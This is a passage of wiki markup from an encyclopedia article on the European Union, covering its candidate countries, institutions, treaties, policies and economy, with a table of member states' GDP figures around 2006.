* [[Turkey]] is an official candidate to join the European Union. Turkish European ambitions date back to 1963 Ankara Agreements.  Turkey started preliminary negotiations on [[3 October]] 2005. However, analysts believe 2015 is the earliest date the country can join the union due to the plethora of economic and social reforms it has to complete. Since it has been granted official candidate status, Turkey has implemented permanent policies on human rights, abolished the death penalty, granted cultural rights to its large Kurdish minority, and taken positive steps to solve the [[Cyprus question]]. However, due to its religious and cultural differences, Turkey faces strong opposition from governments of some member states, including France, Germany, Austria and Cyprus. The Greek government has supported the Turkish candidacy, while linking its progress with the resolution of the long standing Cyprus dispute. [[Pope Benedict XVI]], the head of the [[Roman Catholic Church]], also opposes Turkey becoming a member state, citing its cultural differences with Western Europe.
{{further|[[Accession of Turkey to the European Union]]}}

* [[Croatia]] is an official candidate country to join. It hopes to join by 2010. The arrest of [[Ante Gotovina]] in December 2005 means the accession process is unlikely to be hampered by issues with the [[ICTY|UN War Crimes Tribunal in The Hague]] and will depend only on Croatia's fullfilment of [[European Union Membership criteria|EU requirements]].

:''See also: [[Enlargement of the European Union#Croatia|Croatian accession to the European Union]]''.

* [[Republic of Macedonia]] has been given official candidate status as of December 2005 under the name &quot;former Yugoslav Republic of Macedonia&quot;. By directive of the Commission, all E.U. documents must use the U.N. compromise name for the country, until the naming dispute with Greece is resolved. It is unlikely that the country will be able to become a member state before this issue is settled. 

*The [[European Free Trade Association|EFTA]] states of [[Iceland]], [[Liechtenstein]] and [[Norway]] are members of the [[European Economic Area]] which allows them to participate in most aspects of the EU single market without joining the EU. [[Switzerland]], the fourth EFTA state, rejected EEA membership in a referendum; however, it has established close ties to the EU by means of bilateral treaties. Generally speaking, the EU would be happy for [[Iceland]], [[Norway]] and [[Switzerland]] to become full members ([[Liechtenstein]] poses an issue due to its small size); but the majority of the population of each of these countries opposes membership at present.

{{seealso|Third country relationships with the EU}}

===Context—rationale for enlargement and future prospects===

Supporters of the European Union argue that the growth of the EU is a force for [[peace]] and [[democracy]]. They argue that the wars which were a periodic feature of the history of Western Europe have ceased since the formation of the European Economic Community (which later became the EU) in the 1950s. They also claim that in the early 1970s, Greece, Portugal and Spain were all [[dictatorship]]s, but the desire of the business communities in these three countries to be in the EU created a strong impetus for democracy there. Others argue that peace in Europe since World War II is more due to other causes, such as the need for a unified response to the threat from the Soviet Union, a need for reconstruction after [[World War II]], and a collective temporary tiring of waging war, and that the dictatorships cited came to an end for totally different reasons.

In more recent times, the European Union has been extending its influence to the east. It has accepted several new members that were previously behind the [[Iron Curtain]], and has plans to accept several more in the medium-term. It is hoped that in a similar fashion to the entry of Spain, Portugal and Greece in the 1980s, membership for these states will help cement economic and political stability. 

As the EU continues to enlarge eastward, the candidate countries' accessions tend to grow more controversial. As previously explained, the EU has finished accession talks with Bulgaria and Romania, and set an entry date for the two countries in 2007. However, the rejection of the EU Constitution by France and the Netherlands, and the EU's slow economic growth, have cast some doubt on whether the EU will be ready to accept new members after 2007, when Romania and Bulgaria are set to join EU (in early 2005 they signed the Accession Treaty). A further point of contention for EU members is the accession of Turkey. Accession preliminary talks between Turkey and the EU began in early October 2005. Turkey's Government, led by Prime Minister [[Recep Tayyip Erdoğan]], has enacted many legal reforms to meet the EU's entry requirements. However, some member states, especially Austria [http://euobserver.com/9/19989] repudiate Turkey joining the EU, and the possible economic, immigration and cultural implications that may bring. It is also important to note that the vast majority of Turkey's territory lies outside of Europe, and many Europeans claim their opposition of Turkish membership is the fact Turkey only holds a slither of land on European soil.

==Institutions and legal framework==

===EU institutions===
The functioning of the European Union is supported by several institutions:

*The [[European Parliament]] (732 members ''750 max.'')
*The [[Council of the European Union]] (or 'Council of Ministers') (25 members)
*The [[European Commission]] (25 members)
*The [[European Court of Justice]] (incorporating the [[Court of First Instance]]) (25 judges (&amp; 25 judges of CFI))
*The [[European Court of Auditors]] (25 members)
*The [[European Council]] (26 members, 25 head of member states + the European Commission president) - whose unique role is perhaps better described as that of a &quot;quasi-institution&quot;

There are several financial bodies:
*[[European Central Bank]] (which alongside the national [[Central Bank]]s, composes the [[European System of Central Banks]])
*[[European Investment Bank]] (including the [[European Investment Fund]])

There are also several [[Advisory bodies to the European Union|advisory committees]] to the institutions:
*[[Committee of the Regions]], advising on regional issues
*[[Economic and Social Committee]], advising on economic and social policy (principally relations between workers and employers)
*[[Political and Security Committee]], established in the context of the [[Common Foreign and Security Policy]], monitoring and advising on international issues of global security.

There are also a great number of bodies, usually set up by [[secondary legislation]], which exist to implement particular policies. These are the '''[[agencies of the European Union]]'''. Examples are the [[European Environment Agency]], the [[European Aviation Safety Agency]] and the [[Office for Harmonisation in the Internal Market]].

Lastly, the [[European Ombudsman]] investigates complaints of maladministration by EU institutions.

====Location of EU institutions====
The EU has no official capital and its institutions are divided between several cities:

*[[Brussels]], [[Belgium]] - Considered the ''de facto'' capital of the EU
**Seat of the [[European Commission]] and the [[Council of the European Union]]
**Venue for the [[European Parliament|European Parliament's]] committee meetings and mini-sessions
**Host city for all [[European Council]] summits (since 2004)

*[[Strasbourg]], [[France]]
**Seat of the [[European Parliament]] and venue of its twelve week-long plenary sessions each year
**Also the location of two key European organisations &amp;mdash; the [[Council of Europe]] and the [[European Court of Human Rights]] &amp;mdash; which are different from the EU and have a wider membership than the EU

*[[Luxembourg City]], [[Luxembourg]]
**Seat of the [[European Court of Justice]] and the [[Secretariat of the European Parliament]]
**Seat of the [[European Investment Bank]]

*[[Frankfurt am Main|Frankfurt]], [[Germany]]
**Seat of the [[European Central Bank]]

*[[The Hague]], [[The Netherlands]]
**Seat of [[EUROPOL]] (the European Police Office)

===Legal framework===
[[Image:EGKS.png|thumb|right|200px|Founding members of the [[European Coal and Steel Community]]]]

[[European Union law]] comprises a large number of overlapping legal and institutional structures. This is a result of its being defined by successive international treaties, with each new treaty amending and supplementing earlier ones. In recent years, considerable efforts have been made to consolidate and simplify the treaties, culminating with the final draft of the [[Treaty establishing a Constitution for Europe]]. If this proposed treaty is adopted, it will replace the set of overlapping treaties that form the current constitution of the EU with a single text.

The earliest EU treaty was the [[Treaty of Paris (1951)|Treaty of Paris]] of 1951 (took effect in 1952) which established the [[European Coal and Steel Community]] between an original group of six European countries. This treaty has since expired, its functions taken up by subsequent treaties. On the other hand, the [[Treaty of Rome]] of 1957 is still in effect, though much amended since then, most notably by the [[Maastricht treaty]] of 1992, which first established the European Union under that name. The most recent amendments to the Treaty of Rome were agreed as part of the [[Treaty of Accession 2003|Treaty of Accession]] of the 10 new member states, which entered into force on [[1 May]] [[2004]].

The EU member states have recently agreed to the text of a new [[Treaty establishing a Constitution for Europe|constitutional treaty]] that, if ratified by the member states, would have become the first official constitution of the EU, replacing all previous treaties with a single document.  Although accepted by many countries, this document was rejected in a French referendum with a 55% majority on [[May 29]] and in the Dutch referendum with a 62% majority on [[June 1]].

If the Constitutional Treaty fails to be ratified by all member states, then it might be necessary to reopen negotiations on it. Most politicians and officials agree that the current pre-Constitution structures are inefficient in the medium term for a union of 25 (and growing) member states. Senior politicians in some member states (notably France) have suggested that if only a few countries fail to ratify the Treaty, then the rest of the Union should proceed without them, possibly creating an &quot;Avant Garde&quot; or Inner Union of more committed member states to proceed with &quot;an ever-deeper, ever-wider union&quot;.

{{see also|EU treaties|Treaty establishing a Constitution for Europe}}

====The role of the European Community within the Union====
'''European Communities: European Community plus [[Euratom]]'''

The term [[European Communities]] refers collectively to two entities -- the European Economic Community (now called the European Community) and the European Atomic Energy Community (also known as Euratom) -- each founded pursuant to a separate treaty in the 1950s. A third entity, the European Coal and Steel Community, was also part of the European Communities, but ceased to exist in 2003 upon the expiration of its founding treaty. Since 1967, the European Communities have shared common institutions, specifically the Council, the European Parliament, the Commission and the Court of Justice. In 1992, the European Economic Community, which of the three original communities had the broadest scope, was renamed the &quot;[[European Community]]&quot; by the Treaty of Maastricht.

'''European Union: European Communities plus CFSP and PJCC'''

The European Communities are one of the [[three pillars of the European Union]], being both the most important pillar and the only one to operate primarily through supranational institutions. The other two &quot;pillars&quot; &amp;ndash; [[Common Foreign and Security Policy]], and [[Police and Judicial Co-operation in Criminal Matters]] &amp;ndash; are looser intergovernmental groupings. Confusingly, these latter two concepts are increasingly administered by the Community (as they are built up from mere concepts to actual practice).

'''Effect of Constitutional Treaty'''

If it is ratified, the proposed new [[Treaty establishing a Constitution for Europe]] would abolish the three-pillar structure and, with it, the distinction between the European Union and the European Community, bringing all the Community's activities under the auspices of the European Union and transferring the Community's legal personality to the Union. There is, however, one qualification: it appears that Euratom would remain a distinct entity governed by a separate treaty.

{| align=center style=&quot;text-align:center;&quot;
|-
| [[Image:EU Structure History.png|center]]
|-
| ''Evolution of the structures of the European Union.''
|-
| {{EU-timeline}}
|}

====Intergovernmentalism and supranationalism====
A basic tension exists within the European Union between [[intergovernmentalism]] and [[supranationalism]]. Intergovernmentalism is a method of decision-making in international organisations where power is possessed by the member states and decisions are made by unanimity. Independent appointees of the governments or elected representatives have solely advisory or implementational functions. Intergovernmentalism is used by most international organisations today.

An alternative method of decision-making in international organisations is supranationalism. In supranationalism power is held by independent appointed officials or by representatives elected by the legislatures or people of the member states. Member state governments still have power, but they must share this power with other actors. Furthermore, decisions are made by majority votes, hence it is possible for a member-state to be forced by the other member-states to implement a decision against its will.

Some forces in European Union politics favour the intergovernmental approach, while others favour the supranational path. Supporters of supranationalism argue that it allows integration to proceed at a faster pace than would otherwise be possible. Where decisions must be made by governments acting unanimously, decisions can take years to make, if they are ever made. Supporters of intergovernmentalism argue that supra-nationalism is a threat to national sovereignty, and to democracy, claiming that only national governments can possess the necessary democratic legitimacy. Intergovernmentalism is being favoured by more [[Euroscepticism|Eurosceptic]] nations such as the [[United Kingdom]], [[Denmark]] and [[Sweden]]; while more integrationist nations such as the [[Benelux]] countries, [[France]], [[Germany]], and [[Italy]] have tended to prefer the supranational approach.

The European Union attempts to strike a balance between the two approaches. This balance however is complex, resulting in the often labyrinthine complexity of its decision-making procedures.

Starting in March 2002, a [[Convention on the Future of Europe]] again looked at this balance, among other things, and proposed changes. These changes were discussed at an Intergovernmental Conference ([[Intergovernmental Conference|IGC]]) in May 2004 and led to the Constitutional Treaty discussed above.

Supranationalism is closely related to the inter-governmentalist ''vs. '' neofunctionalist debate. This is a debate concerning why the process of integration has taken place at all. Intergovernmentalists argue that the process of EU integration is a result of tough bargaining between states. Neofunctionalism, on the other hand, argues that the supranational institutions themselves have been a driving force behind integration. For further information on this see the page on [[Neofunctionalism]].

==Main policies==
As the changing name of the European Union (from European Economic Community to European Community to European Union) suggests, it has evolved over time from a primarily economic union to an increasingly political one. This trend is highlighted by the increasing number of policy areas that fall within EU competence: political power has tended to shift upwards from the member states to the EU.

This picture of increasing centralisation is counter-balanced by two points.

First, some member states have a domestic tradition of strong regional government. This has led to an increased focus on regional policy and the [[Region (EU)|European regions]]. A [[Committee of the Regions]] was established as part of the [[Treaty of Maastricht]].

Second, EU policy areas cover a number of different forms of co-operation.

*Autonomous decision making: member states have granted the [[European Commission]] power to issue decisions in certain areas such as [[EU competition law|competition law]], [[State Aid]] control and [[EU liberalisation|liberalisation]].
*Harmonisation: member state laws are harmonised through the [[European Union legislative procedure|EU legislative process]], which involves the [[European Commission]], [[European Parliament]] and [[Council of the European Union]]. As a result of this [[European Union Law]] is increasingly present in the systems of the member states.
*Co-operation: member states, meeting as the [[Council of the European Union]] agree to co-operate and co-ordinate their domestic policies.

The tension between EU and national (or sub-national) competence is an enduring one in the development of the European Union. ''(See also [[European Union#Intergovernmentalism and supranationalism|Intergovernmentalism ''vs.'' supranationalism]] (above), [[Eurosceptic|Euroscepticism]].)''

All prospective members must enact legislation in order to bring them into line with the common European legal framework, known as the ''[[Acquis|Acquis Communautaire]]''. (See also [[European Free Trade Association]] (EFTA), [[European Economic Area]] (EEA) and [[Single European Sky]].)
&lt;small&gt;See [[International Organizations in Europe|table of states]] participating in some of the initiatives.&lt;/small&gt;

===Single market===
Many of the policies of the EU relate in one way or another to the development and maintenance of an effective [[single market]]. Significant efforts have been made to create harmonised standards &amp;ndash; which are designed to bring economic benefits through creating larger, more efficient markets. 

The power of the single market reaches beyond the EU borders, because to sell within the EU, it is beneficial to conform to its standards. Once a non-member country's factories, farmers and merchants conform to EU standards, much of the cost of joining the union has already been sunk. At that point, harmonising domestic laws in order to become a full member is relatively painless, and may create more wealth through eliminating the customs costs.

The single market has both internal and external aspects:  

====Internal policies====
[[Image:Euro banknotes.jpg|300px|right|Euro banknotes]]

*[[Free trade]] of goods and services among member states (an aim further extended to three of the four [[EFTA]] states by the [[European Economic Area]], EEA)
*A common [[EU competition law]] controlling anti-competitive activities of companies (through antitrust law and merger control) and member states (through the State Aids regime).
*The [[Schengen treaty]] allowed removal of internal border controls and harmonisation of external controls between its member states. This excludes the UK and Ireland, which have derogations, but includes the non-EU members [[Iceland]] and [[Norway]].  Switzerland also voted via referendum in 2005 to become part of the Schengen zone.
*Freedom for citizens of its member states to live and work anywhere within the EU with their spouses and children, provided they can support themselves (also extended to the other EEA states and Switzerland).
*Free movement of [[financial capital|capital]] between member states (and other EEA states).
*Harmonisation of government regulations, corporations law and [[trademark]] registrations.
*A single currency, the [[euro]] (excluding the [[United Kingdom|UK]], and [[Denmark]], which have derogations). [[Sweden]], although not having a specific opt-out clause, has not joined the ERM II, voluntarily excluding itself from the monetary union.
*A large amount of environmental policy co-ordination throughout the Union.
*A [[Common Agricultural Policy]] and a [[Common Fisheries Policy]].
*Common system of indirect [[taxation]], the [[VAT]], as well as common customs duties and excises on various products.
*Funding for the development of disadvantaged regions (structural and cohesion funds).
*Use of [[SI]] strictly put on. All other using of systems of capacity, temperature, mass, and height/depth are prohibited (Troy, Customary etc.) See &quot;Restriction Problems&quot; on this page [not found]

====External policies====
*A common external [[Customs (tax)|customs]] tariff, and a common position in international trade negotiations.
*Funding for programmes in candidate countries and other [[Eastern Europe]]an countries, as well as aid to many developing countries, through its Phare and Tacis programmes.
* The establishment of a single market European Energy Community by means of the [[Energy Community South East Europe Treaty]].

===Co-operation and harmonisation in other areas===
*Freedom for citizens of the EU to vote in local government and [[European Parliament]] elections in any member state.
*Co-operation in criminal matters, including sharing of [[intelligence (information gathering)|intelligence]] (through [[EUROPOL]] and the [[Schengen Information System]]), agreement on common definition of [[crime|criminal offences]] and expedited [[extradition]] procedures.
*A [[Common Foreign &amp; Security Policy (EU)|common foreign policy]] as a future objective, however this has some way to go before being realised. The divisions between the member states (in the [[letter of eight]]) and then-future members (in the [[Vilnius letter]]) during the run up to the [[2003 invasion of Iraq]] highlights just how far off this objective could be before it becomes a reality.
*A [[European Security and Defence Policy|common security policy]] as an objective, including the creation of a 60,000-member [[European Rapid Reaction Force]] for [[peacekeeping]] purposes, an EU [[military]] staff and an EU [[satellite]] centre (for intelligence purposes).
*Common policy on asylum and immigration.
*Common funding of research and technological development, through four-year Framework Programmes for Research and Technological Development. The [[Sixth Framework Programme]] is running from 2002 to 2006.

==Economy==
[[Image:EU-GDP-Population.png|thumb|right|Population and GDP per capita of EU member states and candidates.]]
{{main|Economy of the European Union}}

If considered a single unit, the European Union has the largest economy in the world with a [[List of countries by GDP (PPP)|2004 GDP]] of 11,723,816 million USD using [[Purchasing_power_parity|PPP]] equivalence. The [[Economy of the European Union|EU economy]] is expected to grow further over the next decade as more countries join the union - especially considering that the new states are usually poorer than the EU average, and have the capacity to grow at a high rate. However, it is estimated that the eurozone will only grow around 0.3 per cent (Q2 2005) [http://www.eubusiness.com/Finance/050831114912.e6x23dfu 1], while other [[Industrialisation|industrialised]] nations will grow faster, such as the [[United States]], which is estimated to grow three times as much at around 3.2%(Q2 2005). The [[European Council]] published on [[17 November]] [[2005]] that the economy of the European Union will have grown approximately 1.5% in 2005. The eurozone however, will have grown 1.3% in 2005. The European Council is hopeful that the European Union will grow further in 2006 and in 2007 (2.1% 2006 2.4% 2007). Germany, the largest economy in the EU, will grow about: 0.8% 2005, 1.2% 2006 and 1.6% 2007. After extremely slow growth, it seems that the EU will grow again in the next couple of years. 
[http://www.neatideas.com/gdp.htm 2]

EU member states have agreed a programme called [[Lisbon Strategy|Agenda 2010]] which aims at making &quot;the EU the world's most dynamic and competitive economy&quot; by 2010. 

===Standard of living===
Below is a table and three graphs showing, respectively, the [[Gross domestic product|GDP]] ([[Purchasing power parity|PPP]]), the [[Gross domestic product|GDP]] (PPP) per capita and the [[Gross domestic product|GDP]] (nominal) per capita for the European Union and for each of its 25 member states. This can be used as a rough gauge to the relative standards of living among member states. The two future members [[Bulgaria]] and [[Romania]] (set for [[1 January]] [[2007]]) are also included in the table, as are the official candidates and [[Enlargement of the European Union#Potential candidate countries|officialy recognised potential candidates]]. The data set is for the year 2006 and graphs are for the year 2004. All 2006 data are '''projections'''.

[[Image:EU-GDP-PPP-pc-map.png|thumb|300px|right|GDP (PPP) per capita 2006 showing countries above and below EU average]]
{| class=&quot;wikitable&quot; style=&quot;text-align:right;&quot;
|- 
! Member Countries
! GDP (PPP)&lt;br&gt;&lt;small&gt;millions of&lt;br&gt;[[international dollar|int. dollars]]&lt;/small&gt;
! GDP (PPP)&lt;br&gt;per capita&lt;br&gt;&lt;small&gt;int. dollars&lt;/small&gt;
! GDP (nominal)&lt;br&gt;per capita&lt;br&gt;&lt;small&gt;int. dollars&lt;/small&gt;
|-
| style=&quot;text-align:left;&quot; | '''{{EU-List}}'''
| '''12,918,581'''
| '''28,114'''
| '''29,291'''
|-
| style=&quot;text-align:left;&quot; | {{LUX}}
| 32,475
| 70,044
| 74,436
|-
| style=&quot;text-align:left;&quot; | {{IRL}}
| 175,140
| 42,082
| 50,252
|-
| style=&quot;text-align:left;&quot; | {{DNK}} 
| 195,581
| 36,083
| 46,734
|-
| style=&quot;text-align:left;&quot; | {{AUT}}
| 279,281
| 34,256
| 38,006
|-
| style=&quot;text-align:left;&quot; | {{BEL}}
| 338,130
| 32,469
| 35,310
|-
| style=&quot;text-align:left;&quot; | {{FIN}}
| 168,348
| 32,154
| 36,753
|-
| style=&quot;text-align:left;&quot; | {{NLD}}
| 522,853
| 31,990
| 38,321
|-
| style=&quot;text-align:left;&quot; | {{UK}}
| 1,910,818
| 31,529
| 36,494
|-
| style=&quot;text-align:left;&quot; | {{DEU}}
| 2,609,916
| 31,472
| 33,405
|-
| style=&quot;text-align:left;&quot; | {{SWE}}
| 279,733
| 30,751
| 38,776
|-
| style=&quot;text-align:left;&quot; | {{ITA}}
| 1,769,919
| 30,468
| 29,666
|-
| style=&quot;text-align:left;&quot; | {{FRA}}
| 1,889,713
| 30,152
| 33,894
|-
| style=&quot;text-align:left;&quot; | {{ESP}}
| 1,081,332
| 26,009
| 28,012
|-
| style=&quot;text-align:left;&quot; | {{SVN}}
| 46,089
| 23,102
| 19,812
|-
| style=&quot;text-align:left;&quot; | {{GRC}}
| 247,425
| 22,542
| 20,593
|-
| style=&quot;text-align:left;&quot; | {{CYP}}
| 17,772
| 21,740
| 21,834
|-
| style=&quot;text-align:left;&quot; | {{MLT}}
| 8,273
| 20,793
| 13,923
|-
| style=&quot;text-align:left;&quot; | {{CZE}}
| 210,163
| 20,578
| 12,422
|-
| style=&quot;text-align:left;&quot; | {{PRT}}
| 213,331
| 20,260
| 16,664
|-
| style=&quot;text-align:left;&quot; | {{HUN}}
| 172,241
| 17,733
| 11,927
|-
| style=&quot;text-align:left;&quot; | {{EST}}
| 23,875
| 17,672
| 10,252
|-
| style=&quot;text-align:left;&quot; | {{SVK}}
| 93,432
| 17,266
| 9,252
|-
| style=&quot;text-align:left;&quot; | {{LTU}}
| 53,434
| 15,657
| 8,006
|-
| style=&quot;text-align:left;&quot; | {{POL}}
| 546,543
| 14,329
| 7,942
|-
| style=&quot;text-align:left;&quot; | {{LVA}}
| 32,698 
| 14,155
| 7,629
|-
! colspan=4 style=&quot;text-align:left;&quot; | '''Acceding Countries:'''
|-
| style=&quot;text-align:left;&quot; | ''{{BUL}}''
| 76,705
| 9,976
| 3,662
|-
| style=&quot;text-align:left;&quot; | ''{{ROM}}''
| 196,263
| 8,873
| 4,054
|-
! colspan=4 style=&quot;text-align:left;&quot; | '''Candidate Countries:'''
|-
| style=&quot;text-align:left;&quot; | ''{{CRO}}''
| 59,334
| 13,185
| 8,832
|-
| style=&quot;text-align:left;&quot; | ''{{TUR}}''
| 611,572
| 8,393
| 5,115
|-
| style=&quot;text-align:left;&quot; | ''{{FYROM}}''
| 17,140
| 8,293
| 2,509
|-
! colspan=4 style=&quot;text-align:left;&quot; | '''Other European Countries:'''
|-
| style=&quot;text-align:left;&quot; | ''{{NOR}}''
| 201,817
| 43,481
| 67,587
|-
| style=&quot;text-align:left;&quot; | ''{{ISL}}''
| 11,294
| 37,913
| 49,291
|-
| style=&quot;text-align:left;&quot; | ''{{SUI}}''
| 251,381
| 34,498
| 49,306
|-
| style=&quot;text-align:left;&quot; | ''{{UKR}}''
| 365,660
| 7,802
| 2,177
|-
| style=&quot;text-align:left;&quot; | ''{{BLR}}''
| 74,849
| 7,715
| 3,102
|-
| style=&quot;text-align:left;&quot; | ''{{BIH}}''
| 24,333
| 6,160
| 2,587
|-
| style=&quot;text-align:left;&quot; | ''{{ALB}}''
| 20,481
| 5,707
| 2,635
|-
| style=&quot;text-align:left;&quot; | ''{{SCG}}''
| 46,393
| 5,549
| 3,488
|-
| style=&quot;text-align:left;&quot; | ''{{MDA}}''
| 8,574
| 2,377
| 929
|-
| style=&quot;text-align:left;&quot; | ''{{AND}}''
| -
| -
| -
|-
| style=&quot;text-align:left;&quot; | ''{{FRO}}''
| -
| -
| -
|-
| style=&quot;text-align:left;&quot; | ''{{LIE}}''
| -
| -
| -
|-
| style=&quot;text-align:left;&quot; | ''{{MCO}}''
| -
| -
| -
|-
| style=&quot;text-align:left;&quot; | ''{{SMR}}''
| -
| -
| -
|-
| style=&quot;text-align:left;&quot; | ''{{VAT}}''
| -
| -
| -
|-
|}
&lt;small&gt;Source: [[CIA World Factbook]] [http://www.cia.gov/cia/publications/factbook/geos/ee.html]&lt;/small&gt;&lt;br&gt;
&lt;small&gt;All other figures, source: [[International Monetary Fund|IMF]] web site ([http://www.imf.org/external/pubs/ft/weo/2005/02/data/dbcoutm.cfm?SD=2006&amp;ED=2005&amp;R1=1&amp;R2=1&amp;CS=3&amp;SS=2&amp;OS=C&amp;DD=0&amp;OUT=1&amp;C=941-946-137-122-181-124-138-964-182-423-935-128-936-961-939-184-172-132-134-174-144-944-178-136-112&amp;S=PPPWGT&amp;CMP=0&amp;x=80&amp;y=8 2006 GDP PPP], [http://www.imf.org/external/pubs/ft/weo/2005/02/data/dbcoutm.cfm?SD=2006&amp;ED=2005&amp;R1=1&amp;R2=1&amp;CS=3&amp;SS=2&amp;OS=C&amp;DD=0&amp;OUT=1&amp;C=941-946-137-122-181-124-138-964-182-423-935-128-936-961-939-184-172-132-134-174-144-944-178-136-112&amp;S=PPPPC&amp;CMP=0&amp;x=31&amp;y=6 2006 per capita GDP PPP], [http://www.imf.org/external/pubs/ft/weo/2005/02/data/dbcoutm.cfm?SD=2006&amp;ED=2005&amp;R1=1&amp;R2=1&amp;CS=3&amp;SS=2&amp;OS=C&amp;DD=0&amp;OUT=1&amp;C=941-946-137-122-181-124-138-918-964-182-968-423-935-128-936-961-939-184-172-132-134-174-144-944-178-136-112&amp;S=NGDPDPC&amp;CMP=0&amp;x=41&amp;y=14 2006 per capita GDP, current prices]).&lt;/small&gt;

==Comparison with other regional blocs==
{{Most Active Regional blocs}}

==See also==

===Lists===
*[[:Category:European Union]] (hierarchical list of all EU articles)
*[[European Union Statistics]]
*[[Largest cities of the European Union by population]]
*[[List of extinct animals of Europe]]
*[[List of European Union-related topics]]
*[[EU Framework Program for Research and Technological Development]]

===Other===
*[[Council of Europe]]
*[[Citizenship of the European Union]]
*[[Economy of Europe]]
*[[Economy of the European Union]]
*[[Pro-European]] and [[Euroscepticism]]
*[[Transatlantic relations]]
*[[United States of Europe]]
*[[Value-added tax]]
*[[Flat tax]]
*[[Latin Monetary Union]] '''(1865-1927)'''
*[[Międzymorze]]
*[[European Union legislative procedure]]
*[[Eurocentrism]]

==Partial bibliography==

*''[[The Economist]] Guide to the European Union'' (Profile Books 2005) ISBN 1861979304
*''Europe Recast: A History of European Union'' by Desmond Dinan (Palgrave Macmillan, 2004) ISBN 0333987349
*''Understanding the European Union 2nd ed'' by John McCormick (Palgrave Macmillan, 2002) ISBN 033394867X
*''The Institutions of the European Union'' edited by John Peterson, Michael Shackleton (Oxford University Press, 2002) ISBN 0198700520
*''The Government and Politics of the European Union'' by Neill Nugent (Palgrave Macmillan, 2002) ISBN 0333984617
*''The European Union: A Very Short Introduction'' by John Pinder (Oxford, 2001) ISBN
*''The United States of Europe: The New Superpower and the end of American Supremacy'' by T.R. Reid (Penguin Press, 2004) ISBN 1594200335
*''This Blessed Plot: Britain and Europe from Churchill to Blair'' by [[Hugo Young]] (Macmillan, 1998) ISBN 0333579925
*''The European Dream: How Europe's Vision of the Future Is Quietly Eclipsing the American Dream'' by Jeremy Rifkin (Jeremy P. Tarcher, 2004) ISBN 1585423459
*''The Great Deception: The Secret History of the European Union'' by Christopher Booker, Richard North (Continuum International Publishing Group - Academi, 2003) ISBN 0826471056

==External links and references==
{{portal}}
{{sisterlinks}}
===[http://www.europa.eu/ The European Union On-Line]===
Official EU website, europa.eu, in the [[Languages of the European Union|official languages]]. Some subpages:
*[http://www.europa.eu/comm/mediatheque/multimedia/select/maps_en.html European Commission - Maps of Europe]
*[http://www.europa.eu/comm/mediatheque/audio/index_en.html Press conferences and speech audio] ([[MP3]] and [[RealAudio]]).
*[http://www.europa.eu/eur-lex/en/index.html EUR-LEX - EU law and proposed legislation]
*[http://www.europa.eu/en/record/green/gp9611/index.htm Green Paper on a numbering policy for telecommunications (+3 country call code proposal)]
*[http://www.europa.eu/comm/external_relations/china/intro/ EU Policy on China]

===[http://www.eu2006.at/en/index.html?null Presidency of the European Union]===

===Other sites===
*{{gutenberg author| id=European+Union | name=The European Union}}
*[http://www.democracyineurope.com Democracy in Europe]
*[http://news.bbc.co.uk/1/hi/in_depth/europe/2003/inside_europe/ BBC News: Inside Europe] guide to the changing face of the EU
*[http://www.cafebabel.com/ café babel] European current affaires online magazine, published in six languages
*[http://www.zei.de/zei_startseite_neu/startseite_e.htm Center for European Integration Studies]  ([[ZEI]]) - Research Institute focusing on the EU
*[http://www.cia.gov/cia/publications/factbook/geos/ee.html CIA World Factbook entry]
*[http://www.dadalos-europe.org/ Dadalos, International UNESCO Education Server for Civic, Peace and Human Rights Education: Basic Course on the EU]
*[http://www.timbro.com/euvsusa/ EU versus USA] - Study comparing GDP and growth (available in PDF)
*[http://www.eurunion.org/ EU in the USA] - EU delegation to the US
*[http://eunews.euroesprit.org/ EU News] - European Union News
*[http://www.europeanlawmonitor.com/ European Law Monitor] - Monitors and tracks EU proposals
*[http://www.europeanvoice.com European Voice] - Independent Weekly Newspaper on EU Affairs
*[http://www.EUobserver.com/ EU Observer] - News website focusing on the EU
*[http://www.abhaber.com/] ABHaber.com - EU Turkey News Network  
*[http://www.eufpc.org/ EUFPC European Foreign Policy Council] - Interdisciplinary Think-tank and Network
*[http://www.euractiv.com/ EurActiv.com] Independent media portal dedicated to EU affairs
*[http://www.euronews.net/ Euronews] - Multilingual public TV news channel &lt;!--in the EU,--&gt; run by [[ITN]] &lt;!--(It is run by [[Eurovision]] and not by the EU)--&gt;
*[http://www.guardian.co.uk/eu/ Guardian Unlimited Special Report: European Union] guide and ongoing news
*[http://search.looksmart.com/p/browse/us1/us317836/us552286/us554374/us526499/us526505/us531057/ LookSmart - European Union] directory category
*[http://www.mapsofworld.com/world-eumember-map.htm Mapsofworld.com] - World Map of European Union Countries
*[http://www.oecd.org/eu OECD's EU country page] and  [http://www.oecd.org/eco/surveys/eu OECD's Economic Survey of the EU]
*[http://dmoz.org/Society/Government/Multilateral/Regional/European_Union/ Open Directory Project - European Union] directory category
*[http://europeansociety.tripod.com/ S.C. European Society - Oxford University (1950s)] World's oldest?
*[http://dir.yahoo.com/Regional/Regions/Europe/Government/European_Union__EU_/ Yahoo - European Union] directory category

===European Union history===
*[http://www.eu-history.leidenuniv.nl/index.php3?m=10&amp;c=52  ''The Messina Declaration 1955''  final document of ''The Conference of Messina'' 1 to [[3 June]] [[1955]] - birth of the European Union]
*[http://www.ena.lu European NAvigator] - Thousands of multimedia documents on the history of Europe

{{EU countries and candidates}}
[[Category:European Union| ]]
[[Category:International organizations]]
[[Category:Federalism]]



{{Link FA|no}}
{{Link FA|pt}}
{{Link FA|sr}}
{{Link FA|sl}}
{{Link FA|es}}
{{Link FA|hu}}

[[af:Europese Unie]]
[[ang:Europisc Gesamnung]]
[[ar:اتحاد أوروبي]]
[[an:Unión Europeya]]
[[ast:Xunión Europea]]
[[bg:Европейски съюз]]
[[zh-min-nan:Europa Liân-bêng]]
[[be:Эўрапейскі Зьвяз]]
[[bs:Evropska unija]]
[[br:Unaniezh Europa]]
[[ca:Unió Europea]]
[[cs:Evropská unie]]
[[cy:Yr Undeb Ewropeaidd]]
[[da:EU]]
[[de:Europäische Union]]
[[et:Euroopa Liit]]
[[el:Ευρωπαϊκή Ένωση]]
[[es:Unión Europea]]
[[eo:Eŭropa Unio]]
[[eu:Europar Batasuna]]
[[fa:اتحادیه اروپا]]
[[fr:Union européenne]]
[[fy:Jeropeeske Uny]]
[[fur:Union Europeane]]
[[ga:An tAontas Eorpach]]
[[gd:An t-Aonadh Eorpach]]
[[gl:Unión Europea]]
[[ko:유럽 연합]]
[[hi:यूरोपीय संघ]]
[[hr:Europska unija]]
[[io:Europana Uniono]]
[[id:Uni Eropa]]
[[ia:Union Europee]]
[[ie:Europan Union]]
[[is:Evrópusambandið]]
[[it:Unione Europea]]
[[he:האיחוד האירופי]]
